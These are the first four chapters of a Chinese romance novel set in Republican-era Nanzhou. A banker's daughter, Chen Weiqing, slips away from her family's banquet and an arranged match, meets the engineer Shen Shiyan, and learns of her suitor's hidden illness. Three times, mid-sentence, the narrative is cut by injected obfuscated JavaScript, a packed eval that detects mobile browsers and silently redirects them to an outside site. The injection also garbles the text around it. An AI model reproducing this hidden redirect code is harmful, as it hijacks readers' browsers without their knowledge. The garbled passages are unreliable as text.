《灯火渐明》 1. 叛逃 夏天的南州闷热又潮湿，简直让人喘不过气。 更衣镜前，陈蔚青站得笔直，像一支尚未开封的钢笔。 她身上那件银白斜襟旗袍是母亲亲自选的，说是从南京送来的样式，素净中藏着讲究。布料在她锁骨处反着光，她低头看着胸前的盘扣，仿佛一枚即将落下的印章。 身后传来高跟鞋轻轻踩在木地板上的声音，一步、两步，不紧不慢。母亲的声音随之落下，温和得好似一道剪影：“太素了。” 蔚青没有回头，她低着头尽量避免她们母女俩的眼神在镜子里交汇，她知道母亲一定在身后皱起了眉。她淡淡地说：“可以了，我不想在人堆里像盏吊灯一样。” “你是陈家小姐。”母亲站定，轻轻抬手，为她拨正肩上的布料，妥协似的说了句，“这件料子倒也还可以，不丢脸。” 陈蔚青这时才抬起头，对上母亲镜子里的眼睛。她与那双眼角有着隐隐的皱纹的眼睛对视了一阵，看不见任何的情绪。 那就是母亲，不怒、不急、不动声色地将一切收入掌控之中。今天她穿着一身墨蓝色的缎面长裙，头发挽得干净利落，鬓角一点银光，像是故意留下的警告。蔚青低头看自己那条身上的银白色旗袍，胸口包得紧紧的，像个被固定好的模型。 “别动。”母亲低声说，伸手为她戴上一只珍珠耳环，金属冰凉贴在耳垂上，像个标记，碰得她耳朵痒。 “沈家那位少爷你听说过吧？”母亲漫不经心地问，“前阵子刚从西洋回来，是婉芝的表哥，你和婉芝一向关系最好。” 蔚青没出声，只轻轻地“嗯”了一下，像接住一颗子弹，又迅速藏进口袋里。 “听说是学机器的。”母亲顿了顿，又补了一句，“你不是一直喜欢这些？” 她笑了下，淡淡地说：“似乎不是聊这个的场合。” 母亲看了她一眼，眼里终于浮现出一点点的满意，但她什么也没说。母女两人沉默了一阵，片刻后，转身离开房间，只留下一句：“半小时后下楼，别迟了。” 门“咔哒”一声关上。屋子里安静下来，窗外蝉声像是被困在水里。 蔚青站在镜子前没动。那件旗袍果然不丢脸，也的确合身——合身得像一层皮。 她忽然从妆台抽屉里拿出一根笔，轻轻托起右耳，把耳环摘了下来。镜子里那个女人没说话，只朝她扬了扬下巴，像在说： “你有本事，就别戴上。“ 楼下灯火已然点起，厅中亮如白昼，水晶吊灯像是一只只倒悬的蛛网，把整个空间缠得无处躲藏。 宾客三三两两围着长桌，有穿洋装的，穿旗袍的，甚至还有些人穿着马褂，中西混杂，显得有些可笑。 蔚青下了楼，一步一步，她远远就听到母亲在和她的——也不记得是哪个姨妈在谈话，她听得不真切，但内容无非是一些寒暄、提及哪家少爷刚从哪里回国，又或者哪家小姐订婚在即。 她不想听，也不想演。她知道，今晚她得是那个得体的陈家小姐，可她只想转身逃出去。 见她下来，姨妈迎了上来。 “哎呀，蔚青小姐真是出落得越发好了。”她胳膊肘里挽着一个巴掌大的琉璃包，眼神里满是精算过的笑意，“最近还在读什么书呢？你年初送的那本诗集我还放床头呢，一页一页翻着，真觉得自愧不如。” “读多些书好。现在的少爷们学了那些新东西，都说要娶读过书的女子。”林家的太太也慢慢地踱了过来。 蔚青突然一阵反胃，母亲走了过来，笑容恰到好处：“蔚青最近在学一些洋玩意，爱钻这些，她父亲说她不如男孩子省心。蔚青年纪也不小了，我们也正商量着该为她寻一门合适的人家了，我看就刚刚同我说话那位林公子就还蛮合适。” 周围的人都笑了起来，像是听见一个风雅的玩笑。 但那一瞬间，蔚青的心“咯噔”一下。 她原本还撑着微笑的嘴角，顿时像被什么拽住了似的微微抽搐。心里像被什么尖锐的东西扎了一下，疼得她几乎要脱口而出“不要”两个字。 不要，不要，不要！ 有什么声音在她脑海里尖叫着，试图冲破这灯火辉煌的笼子。她忽然觉得喉咙发紧，那银白色旗袍的盘扣全都变成了锁链，紧紧勒着她的身体每一寸，整个人都被命运裹进了一张不容抗拒的丝绸网里，越挣扎，勒得越紧。 她想开口，却又强迫自己闭上。场面不允许她喊出来，她僵住了一瞬，脸上又换回了得体的笑容。 有人附和：“哎呀陈先生那样读书人，生出女儿都像才子呢。” 有人又低声道：“最近听说你家与礼顺洋行又签了新约？可真有本事。” 蔚青站在一旁，听着那些名字、生意、关系链从她耳边流过去，像一张巨大的网慢慢织起，她知道，她只能说得恰当、得体、温和的话，最好还能顺便显得聪明而不冒犯——她还是选择闭嘴吧。 母亲朝她一瞥，似乎是对她的沉默颇为不满，蔚青才猛然回过神来，赶忙接话：“礼顺洋行其实是想打通内地的香料线。我们原本不打算应的，是我母亲看准了他们这两年在中南的采购动向，提前囤了几批马六甲肉豆蔻，又调整了运输路线。“ “哟，陈太太果然眼光独到。”林太太又转向母亲，“你家老先生现在可好？最近很少在外头见他了。” 母亲神色不动，只淡淡答：“他忙着读书呢，天天在楼上同莎士比亚讲道理。” 这句话说完，众人都笑了。 姨妈捧着酒杯转了一圈：“哎？听说沈家的那位沈公子今日也应邀了？“ 母亲一怔，几乎无法察觉地皱了皱眉，林太太接过话头：“是啊，从德国回来的，念的洋人那一套，也不知靠不靠谱。 “哎哟，他若是来了，今晚咱们这些姑娘怕是都没心思吃点心了。” “不过我刚才问了，说沈夫人回信说他身体不太爽利，这几日闭门休息。” “是吗？可惜了。” “可惜什么啊……”说话那人把声音压的极低，“沈家都不指望他了……据说准备扶他弟弟……” 蔚青从人群中悄悄退到墙边，端着杯子，仿佛自己就是一张桌布上多余的折角。 她的目光越过厅中人群，看向窗外黑得发蓝的天。风从南边吹来，带着水气，也带着一种说不清的躁动。 笑声还在桌边萦绕着。蔚青顺着笑意点着头，脸上的弧度仿佛还没散去，脚步已经悄悄后退了半寸。 她走向洗手间方向，拐进走廊深处那段没人注意的暗角，把扯得她头皮疼的，梳的一丝不苟的头发放下。 再走出来时，她像是换了一个人，像在夜色中呼吸到了久违的空气。 她小心翼翼地走出陈宅后门，沿着夜色中的小巷一路向东，街灯昏黄，蝉声交错，远处隐隐是江边码头的汽笛声。 她穿过两条巷子，一道石阶，一排围墙，拐进那座熟悉的女中后门。那儿早被人撬开过锁——她记得，是上次婉芝说“每座牢笼都该有个出口”。 教学楼还亮着灯，但不是值班老师的那种惨白，而是从三楼那间教室透出的，暖黄、闪动、像熔了蜜蜡似的光。窗户没关紧，传出西洋乐的片段旋律——是黎婉芝最爱的法国香颂，还有年轻人压低声音的笑。 穿过昏暗的走廊，她终于来到那间掩着门的教室。 教室不大，座椅推到两侧，讲台上挂着旧黑布，遮住校训标语。纸串灯绕着黑板转了一圈，旧收音机正播放着音乐，音质模糊得像隔着层雾。 教室本是只能容纳十来个人的小房间，但此刻竟挤了三十多张面孔。门一打开，热气几乎是扑着脸卷进来——带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502435|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗水、汽水、纸张、油墨和香水混合的气味，还有空气里一种摇晃着、舞动着、不肯停下的躁动。 屋里吵吵嚷嚷，三两成群的人围在一起，脚步随节奏打拍子，有人挥着手臂讲着笑话，还有人正试图把一张课桌当成舞池中央的小台子站上去。旁边的黑板上却留着还没擦干净校训的一角，像是故意留下的讽刺。 窗子没关，夜风挤进来，带着南州江边的潮湿和星光，还有远处不知哪家洋行烟囱里飘出来的微薄汽油味。 蔚青的心跳的像重锤，她不断拨开人群，终于在窗边看到了她最好的朋友，黎婉芝。婉芝坐在窗台上踢着腿，终于也注意到陈蔚青。“你怎么穿成这样？啊…噢我想起来了，陈家今晚有晚宴呢。”她蹦下来，挽起蔚青的胳膊：“你终于来了！再不来我就让你错过人类科学史的转折点了！” 蔚青被她拉进人群，笑着说：“我已经错过一整夜的陈家式外交史了。” 婉芝朝教室角落努了努嘴：“给你介绍个不擅长笑的人。” 那里站着一个青年，穿着深蓝旧西装，眉眼清冷，站得略有些僵。他正被人围着提问，语速不快，却讲得极专注。 “……如果我们把机械式加法器连到定时电路上，它就不只是计算，它开始能‘记’了。逻辑不是冷的，是有结构、有延续、有命令的。你能给它任务……” 她站在人群边，靠着窗台，接过黎婉芝递过来的没有气了的汽水，听那个男人讲那些电路、机器什么的。 他讲得很慢，很清晰，却并不讨好。他的嗓音有些沙哑，像纸张翻过旧页时的声音。蔚青不懂他说的每一个术语，但她听得出，他讲的不是在卖弄知识，而是在试图描述一个他相信的世界。 “……当你给一组齿轮设定了判断条件，它就不再是死物。哪怕只是两个铜环在旋转，它也能‘选’出你要的东西。这就是逻辑门的雏形。” 一旁有人点头：“就是那种，靠打孔卡片控制的机器吧？你说过能做算术？” 他点点头：“不仅是算术。它能记忆、能判断，甚至可以对重复的信息做出排除。你可以通过电给他下指令……” 她忽然开口：“那么它，会不听指令吗？” 话音刚落，教室里的空气仿佛轻轻一顿。她意识到自己的问题问的有些荒唐——是在问机器，还是在问自己。 沈时砚抬起头，目光穿过人群，准确地落在她脸上。 那一瞬间，她有点后悔。这个问题问得太突兀、太像挑衅。可她没打算道歉，只是抿唇站着，像用一根细细的鱼线试探这人心口下的逻辑系统。 他没有笑。 “你是说……”沈时砚的声音慢下来，像是在小心校对每一个词，“当机器已经接受了一整套逻辑命令——它能不能，不按设定的顺序走完？” 他语气里带着轻微的迟疑，却并不回避。“如果它拥有多个执行分支，它……也许能。” 他低头，自言自语地补了一句：“或者哪里出错了……” 然后，他重新抬头看她，声音安静又专注：“是个好问题。你——在哪所学校读书？” 那句话不只是客气，而是一种认真。 像是一个工程师对精妙的结构产生的敬意和好奇。 蔚青有点发怔。她听不懂他说的每一个术语，却听得出，这个人不是在解释原理。他在回答她。 她下意识想笑，但没笑出来，只低低应了一声：“我父亲为我请了家庭教师。” 这时婉芝从讲台后挤出来，笑着打圆场：“我来，我来介绍——这是我表哥，沈时砚，刚从德国回来，念的什么算术什么机器什么的，这位是陈蔚青，陈家的小姐。” 沈时砚轻轻“啊”了一声，不知是因她的名字，还是她的问题。 哎？刚刚从西洋回来的表哥？ 2. 夏夜 哎？刚刚从西洋回来的表哥？ 陈蔚青抬起头，问题还没从嘴里出来，沈时砚就先开了口：“蔚青小姐，我刚回来就常听婉芝说起你，你们是朋友？” “当然！最好的朋友！”黎婉芝蹦起来抢答。 “那你也是女校的学生？”沈时砚歪了歪头，“准备去上大学吗？” “啊……我不是。”陈蔚青听他提到女校，遗憾地摆摆手，“我没有上过学，我父亲为我请了家庭教师。” “你看，陈家人。”婉芝怒了努嘴，插了一句话。 “那你怎么懂这些？“沈时砚问。 陈蔚青盯着他，像是在盯着一个无法交流的人，她又重复了一遍：“我父亲为我请了家庭教师——他是我父亲的朋友。” “哎？”沈时砚眨了眨眼，愣住了，像个卡壳的机器，他扯了扯嘴角，低头轻轻一笑，接着忽然就像彻底反应过来了，连着笑出了声，“哈哈哈哈哈……啊，陈小姐，抱歉，真的抱歉，我以为你的老师是那种只教四书五经、拿戒尺敲桌子的老先生…… 陈蔚青被他笑得也有些无奈，勉强配合地笑了下，说：“对不起让你误会了。他是香港人，以前在英国读书，回国之后在香港大学教过几年，后来就不教了。现在在我家……讲逻辑，讲科学，也讲伦理，有时也讲讲钱。“ “可会讲钱了。“婉芝嘟囔道。 这时有人从后头推了推沈时砚：“喂大学生，继续讲你那个什么‘自己会算账的机器’啊！” 沈时砚应了一声，朝蔚青又看了一眼，才回头继续说话，讲的是机械中断之类的问题。 他低头喝了一口汽水，又转回来看她。 “你那位老师……听上去很有意思。”他说，“我能见见他吗？” 陈蔚青一怔，眼神里闪过一丝诧异，但随即便轻轻一笑：“你想见？那就来见嘛。”语气轻飘飘的，像是一句调笑——没打算放在心上，也没打算真的拒绝。 沈时砚却认真地点了点头。 他们两个正要再说什么，教室里突然起了口哨声，不知谁带起节奏，几个人围在一起开始踩着鼓点打拍子。婉芝被人拽走，冲他们摆了摆手。 喧闹刚起，沈时砚忽然说了一句：“今天没去你们家晚宴，对不住。” 陈蔚青一时没反应过来，转头望他：“你怎么知道我——” “我表妹说的。”他眼角微挑了下，“还有我妈，她早收到请帖了。” 她“哦”了一声：“没关系，我不也溜出来了嘛。”然后她顿了顿，笑道：“但我还以为你身体抱恙，没想到这不是挺健康的嘛？” 他轻笑：“没有，婉芝拉我来这里。我就跟母亲说了一声，她倒也没多问，只随便给我找了个理由。” 蔚青望着他，一时说不出话来。 她想起宴会厅里母亲递过来的那一瞥，不苛刻，却也没有退路。 “你母亲给你找了个理由？”蔚青想了想，低声说道，“你母亲……挺特别的。” 沈时砚垂下眼，笑了：“是啊。她有时候像个外交官，有时候比谁都像小孩。看她跟谁说话。” “但……”蔚青歪头想了想，“你母亲——沈夫人是姚家的……” “姚芷君。“他打断了蔚青的话，然后带着笑意说道，“可别叫她沈夫人，她会生气的。” 她突然不知道该说什么，像是接触到了她接触过的新东西。窗外风声正好，喧闹似乎离他们隔了一层帘子，像隔着玻璃看灯火。 “你母亲……是不是不太允许你来这种地方？”沈时砚试探性地问道。 “倒不至于不允许，只是从不理解我来做什么。”蔚青顿了顿，忽然说：“她们只会说，‘你这样的女孩子，怎么会出现在这种地方？’” “就好像我只能被摆在厅堂里、和花瓶一起长大。”她低下头，声音里堆满了失落，“她不会阻止我，她只是觉得——我不该有这样的兴趣，不该出现在这样的场合，不该和你们说话。她觉得我该是另一个样子，我也一直演着她想要的样子，但今天，至少今晚，我不想再演了……” 她说完，转头看他一眼，他像是很抱歉的样子，嘴唇抖动着，好一会终于开口，结果是一句特别没头没脑的话：“你知道屋大维娅吗？——啊，不是，你不知道也可以的……” “知道。”蔚青差点笑出来，她看出他在很用力的找话题了，但这个话题并不是那么大众，“罗马的公主？” “对。”沈时砚眼睛一亮，“我第一眼看到你，还以为你是那种人。” “你指的是什么？“ 沈时砚像是意识到自己话说了一半，忽然有点局促。他一只手握着汽水瓶，另一只手在背后无意识地扣着掌心，像个突然需要组织语言的学生。 “我不是说你性格像，”他急忙解释，“是……就是那种，出身高贵，被放在一个完美的位置上，从不出错，从不出声……所以总让人以为她就是那个样子的人。” “为什么？” “你看、你穿着那么昂贵的，走路都没法大步迈出去的旗袍……” “我只是没来得及换！”她睁大眼看着他，脸上几乎要写上“冤枉”两个字。 沈时砚也意识到自己说错了话，整个人立刻像个被拧了电门的收音机，急得声音都高了八分度：“啊！抱歉，我现在知道了！我就是说……就是说那种感觉！” “哪种感觉？”蔚青斜睨着他，嘴角却止不住地翘了起来，“那种……我踩着缎面和珠片走出来，就像是个贵族娃娃被送进橱窗的感觉？” 他张口结舌，半天憋出一句：“你比橱窗里的那个……复杂多了。” 蔚青低头笑了一下，说：“与其做屋大维娅，我倒更想像李维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502436|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娅那样。” “啊？”沈时砚抬起眼，似是愣了一下：“你是说屋大维的妻子？” “嗯。或者说吕雉、窦太后、冯太后，都可以。”她抬眼看他，“就算别人骂我机关算尽也无所谓。“ 沈时砚看着她，眼神渐渐复杂起来，忽然低声说：“你跟我母亲……有点像。” “什么？”她正转头去把汽水瓶子放进箱子里，不巧的音乐声盖过了他的声音，正好没又听清。 “……没什么。”他收了声，轻轻摇了摇头。 这时婉芝突然从教室另一头跳过来，挥着手就扑过来：“你们两个怎么不聊机器人了，要讲到历史怎么能少了我呢？” “丫头片子耳朵还挺灵。”沈时砚亲昵地敲了敲表妹的头，又变回之前彬彬有礼的样子，“陈小姐也喜欢机械？” “倒也不……” “哎呀你别装了好不好。”婉芝甚至没等她说话，狠狠地往陈蔚青背后一拍，“从小最爱拆电话的就是你！” “她拆过打字机，还差点把我家的收音机烧了！我记得最惨一次是你把你妈的香水喷雾拆开来找那根铜弹簧，结果香水全喷墙上了。后来梁老师来了她才不拆了。”黎婉芝滔滔不绝地揭起底来，“那可都是洋玩意，好贵的啊！” “梁老师？” “就是她的老师啊笨！”婉芝瞪了表哥一眼。 陈蔚青被说得有些不好意思，但嘴角还是压不住地上翘：“那是我小时候不懂线圈原理……” 沈时砚似乎又想说什么，但话到嘴边却没吐出来，只轻轻点头：“那我更该找时间拜访拜访。” “你随便。”蔚青假装轻松地撇撇嘴，“他不一定会理你。” “那我会很有耐心。” “你刚刚就很有耐心。”她说完，自己先笑了，眼尾在教室暖黄的灯下轻轻弯起来。 婉芝拽住两人往讲台走，一边走一边喊：“先别说了。快来拍照！再不拍照灯泡就坏啦！” 他们三人慢慢朝人群方向走去，大家站在一块，推推搡搡的，见他们来了，给他们让出了一个位置，他们站在那里，晃晃悠悠的，木地板吱呀作响，窗外夜风拂动那半掀着的窗帘，像什么正悄悄被记录下来。 站在前面拍照的人摆弄着那个盒子一样的底片机，然后大声地开始倒数。沈时砚忽然低声问她：“你希望它留下你的什么样子？” 陈蔚青偏过头，看着那台旧得发亮的柯达底片机。 “模糊一点的好，”她说，“因为我还没决定。” 沈时砚笑了一下，没再说话。 快门按下时，婉芝正笑得用力，蔚青站在两人之间，裙角未稳，眼睛看向相机旁边的方向，而沈时砚眼角带着一点犹豫，一只手还没来得及收回。 快门一落，空气像是亮了一下，又慢慢落回灰暗潮湿的南州夏夜里。 3. 锦衣夜行 陈家宴会过后的几天，也就是她穿那身一点也不合身的洋装的那天，天气焖得跟天空被什么东西罩住一般，整个南州都被放在蒸笼里蒸着。热风贴着肌肤擦过，像细细的水泼在手肘和锁骨上，一点一点收紧她的呼吸。 那是件灰蓝色的洋装，剪裁贴身，衣料在光下泛着低调的哑光。领口是一个半圆，正好卡在锁骨上缘，领边缝了一圈极细的银丝绣边，近看像是银线缠出的蛛网，轻巧、冷静、令人不敢碰。 袖子只到三分之二，恰到好处地露出一节手臂。她站在镜前试着抬手，动作受了衣料的拘束，只能细微地举到胸口，像一个刚学会敬礼的女学生。 她原本想换一套衣服，被母亲按住：“不，林家崇尚西法，别穿旗袍，显得老气。” 母亲翻出这套洋装时语气轻描淡写：“从香港定的，缝得好。” 那句话她没应，只是低头整理扣子。一颗一颗全是包金的贝母扣，细得像鱼眼，扣进去时要先把指甲撑进扣环，再轻轻一转——像一件婚纱，或者把自己锁进什么东西。 她头发挽成一个松髻，用的是最普通的一根乌木簪。耳边两缕碎发被母亲捋过去，藏进耳后。 “别露出来，”母亲说，“林家人注重仪态。” 她点头，什么也没说。 陈家的车停在租界里最大的一家西式餐厅门口。正值日落，阳光在窗玻璃上映出她的影子，模糊不清，但像她的尾巴一样，拉得极长。 她下车的时候裙摆轻轻扫过小腿，皮鞋跟敲在地上发出细碎的响。她母亲走在前面，侧脸安静，像一块修过多次的玉石。走进门前，她回头看了蔚青一眼，语气极平常地说：“林家那位长子温文有礼，去过东洋，回来任职电力总局，是拿得出手的年轻人。” 她看着母亲一边说话，一边用指尖替她拉平肩部的线条，就像在抚平什么必须被展示给别人看的褶皱。 “最重要的，是守规矩。”母亲最后说，“不抽大烟，不赌钱。现在这年头，找个‘不坏’的，已经不容易了。” 蔚青点了点头，轻轻拉了拉袖口，指尖在衣料上摩挲了一下，她决定自己在确认这布料底下的那副骨头还是不是自己的。 她低头走进餐厅。背后被母亲狠狠一拍：“站直了。” 她站直了，像一根刚被削过的铅笔，被人握在手里，只等落笔签字。 餐厅里正播放着老留声机唱片，声音混着空气中的冷气与鲜花香，像从一口深井里飘上来的幽幽回响。她脚尖踏进大理石地砖的那一刻，整个人像被放入另一个世界——光线被天花上的琉璃灯打得温黄，服务生穿着白西服在席间低语穿梭，瓷器碰响时有种贵族专用的克制。 她像一个误入剧场的观众，偏偏被人点了名，让她上台。 桌上铺着干净得没有一点折痕的白布，银餐具整齐排列在金边盘子旁，每个叉子的齿口都像要精准切进她的咽喉。 林家人已经到了。林母穿着烟灰色的纱衣，戴着一对珠母耳环，笑得客气，眼神却像在审样品。 林公子起身替她拉椅子，一身藏青西装，没有领针，扣子只系到第二颗，嗓音低沉有礼：“陈小姐，久仰。” 他的声音温度正好，但她觉得那语调里带着一种冷静的计算感，像在用尺子丈量她的笑容弧度。她坐下时，裙摆在椅子边轻轻展开，如一张摊开的图纸，纸上不是未来，而是落款。 她的母亲开始与林家寒暄，林母笑着说：“阿彦自小体弱，这几年身体调养得不错。也正是时候了，我们想，适合成个家。” “是啊，”母亲接着说，“蔚青也大了。她读书是读得多了点，可终归还是要回归生活。” 她听着这些话从左右两边温柔地铺过来，像餐布盖在热汤上，安静、体贴、窒息。 林公子朝她伸出右手，像是在等待一枚印章在合约末尾落下一般等着她的回握。他的五指修长，干净，指甲修得极短。但她注意到那只手的指节处，皮肤颜色略深，一圈一圈发白，像是旧伤痕硬结后留下的浮肿纹理。 她小心翼翼地回握住他的手，二人的手得体地碰在一起，像一个交易，然后分开。他不紧不慢地掏出怀表看了眼，说：“我来的路上还在想——今天这天气，像蒸笼里煮人，穿着西装就是受罪。” 她听出那是种风趣的寒暄，却觉得他嗓音里的温度和他说话的内容并不匹配，像是某种被训练出的好客公式。 林公子放下怀表，笑道：“我小时候有一阵子，特别着迷计算尺。后来父亲让我去读工程，在东洋学的是电讯，但我还是偷偷买了个打孔机，自己造模型。” 他说得轻巧又略带一点少年气的自嘲：“我那时候非要给家里的猫做实验。什么牛顿、莱布尼茨、那个物理学界的新星你知不知道，叫什么……AlbertEinstein？你知道吗？他们的大作，我都拜读过。” 这话一出，她忍不住笑了，虽然有点卖弄，但她是真被惹笑了。那笑从胸口泛上来，像藏了太久的雾气终于被戳破。 林公子也笑着看她：“我在报上看到你的文章了——我很佩服。” “只是，只是写在朋友办着玩的报刊上的文章，还真稚嫩……没什么好佩服的……”她感觉自己的耳朵有点发烫，可能已经红了。 他抿了一口水，语调温和，他看了眼她，好像很满意的样子，然后继续说——带着一种轻轻叩门的姿态：“像你这样的人，如果愿意嫁进林家，我不敢说会保证你能去大学、做学术……但我愿意为你留一间屋子。你若不想做别的，就在那里做做学问也好。” 这一句话像一根针，从她左肩慢慢刺进皮肤，一点不疼，却叫人发麻。 她愣了一下，没有答话。 她的手搭在餐巾上，指节还在不自觉地摩挲那枚银叉的花纹。那花纹极细密，像机器里未完工的齿轮。 她原本以为今天会像往常一样——是一场被安排的演出，她照本宣科，坐满流程。但现在她却听见自己的心里，有一道门微微开了。 他不是那么让人讨厌，不像她过去遇见过的那种“会来提亲的人”。 是不是也许这不是一场牺牲？是不是命运也许留了一道出口？ 她没注意到自己笑了。 那是一种几乎让她陌生的笑，轻轻挂在嘴角，没有经过练习，也没有被告诫过“要得体”。林公子说“我愿意为你留一间屋子”的时候，她甚至能想象到那是个静静的书房，窗开在东侧，光能透进来。那里也许没有机器、没有实验，但也没有人叫她“别太多话”、“别抬眼睛”、“别再提什么科学”。 她忽然觉得自己有点累，想靠一下，哪怕只靠一会儿。 正在这时，母亲侧头对她说：“你去洗个手吧，脸有点热。”语气轻巧但又锋利，仿佛在提醒她说：“你是不是太飘飘然了？” 她点点头，起身，裙角带起一点喜悦的风。 走廊上很安静，餐厅的琴声远远压在后头。她走进盥洗室，洗手池的水哗哗流，她不急着洗，只在水面上停了停——那水像一张没来得及弄皱的纸，映出她半张脸。 她看着那张脸：眼尾略弯，鼻尖泛红，唇角还有一点没意识到的弧度。 她拿毛巾擦了擦手，回头时，洗手台旁站着一个女人，穿一件旧蓝布衫，低着头装作洗手。她抬头时，那是个她似曾相识的人，一张在亲戚中模糊过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502437|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸，像是在那里等了她很久了。 女人递给她一张纸条，手指飞快一卷，将它塞进她的掌心，只低声说了一句：“你看一眼就知道了。” 女人走得很快，怕自己留下痕迹。 她怔了一下，没立刻打开纸。她站了一会儿，像是想再确认一下刚才的笑是不是真的。 她打开水龙头，把水调到最小，水声在流。她低头，把那张纸摊开。 字写得很轻，但每一笔像是用针刺出来的。 “林子彦得过花柳病。 快跑，蔚青，快跑。 ——陈礼盈” 她盯着那张纸，足足过了五秒，才猛然反应过来—— “陈礼盈”是谁。 那个名字她小时候听过很多次，后来越来越少，再后来就没人提了。 一个“风评不好”的堂姐。 起初是说“嫁得好，嫁给了一个在上海开厂的老板”，又过了一年，说“退婚了”，原因也不清楚。后来又说“再嫁”，嫁给一个巡捕房的翻译官，据说“性子不坏，就是太老”。 她记得那年家里人吃饭提起这事，有人只是淡淡说了一句：“她也是倔得不知好歹。” 现在她才明白，那不是倔，那只是挣扎，甚至出不了一点的水花。 她突然有点想笑，笑自己的天真。 她想起林子彦手上的痕迹——那一圈一圈发白的硬结，梅毒痊愈的痕迹，那不是她现在才认出来的。她早在握手那一刻，就看见了、察觉了，只是那时候，她没让自己细想。 她选择了不看见，就像家里人当年看着陈礼盈一样——没人是真没发现，只是没人愿意承认。 她脑子里突然涌起一个念头——厕所这边有窗，窗外是小花园，三步之后就是后门。 她可以翻下去。 真的，翻下去，沿着后巷走，就能离开这个地方，离开那张纸说的命运，离开那间“为她留的屋子”。 “快跑。” 她甚至下意识地往窗边走了一步。 可她停住了。 裙子太紧，鞋太高，窗户太窄，风一吹上来，都是餐厅里玫瑰与牛排的味道。 ——不是障碍，那都是借口，她知道她只是没有勇气。 她没翻。她把那张纸放在洗手池里，看着水慢慢地把纸上的字晕开，湿透，碎裂。 她回到餐桌，像什么都没发过一样，桌上的甜点还在冒气。林公子正用叉子戳着奶油球，听他母亲讲某位督军的家宴。 她默默坐回位子，林子彦手上那颗奶油球“啪”一声被他戳破，她吓了一跳，接着又笑着说：“抱歉，刚刚有点头晕。” 她母亲正打算开口说什么，蔚青忽然轻轻弯下身—— 她吐了，来不及冲出包间，就直接吐在餐巾上，桌边所有人都吓了一跳。甜点的香气和她胃里的恶心搅成一团。 林母立刻站起来，惊叫道：“是不是吃坏了？”林公子也慌了，递水递纸巾，嘴里一直在说着：“没关系，别慌”。 她母亲的脸，一瞬间阴下来了。但她没有责骂，看上去十分着急，她只是扶着蔚青，语气快、低又压着火：“你这样太失礼了。” 她一边说，一边掏帕子擦她额头上的汗，动作极快，像是怕别人看出什么。 “走吧。”她说，“我们回去。” 她们提前退席，一路无话。直到回到车上，车门关上，母亲沉默地看着窗外，一言不发，只是偶尔担心地偏过头来看看她。 她靠着车窗，闭上眼。耳朵里还嗡嗡响着，她好像听到了有人对她喊，好像是自己的声音。 “快跑，陈蔚青，快跑。” 4. 拜访 书房的钟在墙上静静地走，指针划过“八”与“九”的细缝时，陈蔚青还坐在窗边，望着阳光落在地毯边缘的影子出神。 墨绿色的窗帘只拉了一半，阳光斜斜地照进来，在书桌上铺出一片温暖却不炽热的光。梁悯初正拿着一本带黑色封边的讲义册，讲到“判断之于主观结构”的时候，语气依旧温柔平稳，像江南的春水拂过芦苇，轻而不滑。 “我们不能把判断仅仅理解为推理的结果，”他说，“有时候它更像一个选择，或者说……” 蔚青回过神，把视线拉回来，笔尖点在纸面上，却没有真的写下什么。她记得他讲了“波义耳”，又讲了“康德式反思判断”，她都听见了，只是没记住。 她盯着梁老师右手袖口的一颗纽扣，那是铁灰色的金属扣，边缘有一点磨损，她小时候就注意到了。 他穿的还是那件旧呢子马甲，扣子永远扣得整整齐齐。他的发梢已经有了些灰白，嘴唇颜色很淡，但说起话来依旧有种轻盈的坚实。 蔚青忽然想起沈时砚在聚会上说的那句话——“你那位老师……听上去很有意思。” 她有些恍惚地想着：是啊，很有意思。但那不是一件容易解释的“意思”。 那是一种……太具体，又太抽象的东西。 这个人总像悄悄在她耳边说——困在这里不是你的唯一选项。 老师是第一个告诉她，那些“不该学”的东西，她也可以学的人。 是第一个告诉她，这个世界比她所在的厅堂要大得多，而门是开着的。 只有在这里，在他的课堂上，她才不像一只笼中鸟。 她想起了前几天那场无比失败的相亲，那身洋装、那张纸条、那个差点吞下去的未来。她只是盯着他的嘴，看着那张安静的口型在空气中一圈圈晕开。那不是语言，更像另一种节奏，一种不属于这个房间、不属于任何家族规矩的节奏，在她眼前无声地流淌。 她听见他的声音，但她没在听。 她只是盯着他的嘴，看那张平静的口型缓缓吐字，仿佛那不是语言，而是另一个世界的节奏，在她眼前无声地流淌。 她还没来得及更深入地想下去，书房的门被轻轻敲了两下，是伺候的女仆低声道：“小姐，前厅来了一位沈公子，夫人说要您下去。” 她抬眼，几乎是条件反射地站起来：“他说找谁？” 女仆犹豫了一下：“不知道，说是前几天宴会身体抱恙的那个沈公子。还说要梁先生也一起过去。” 梁悯初合上讲义本，微笑着点了点头。 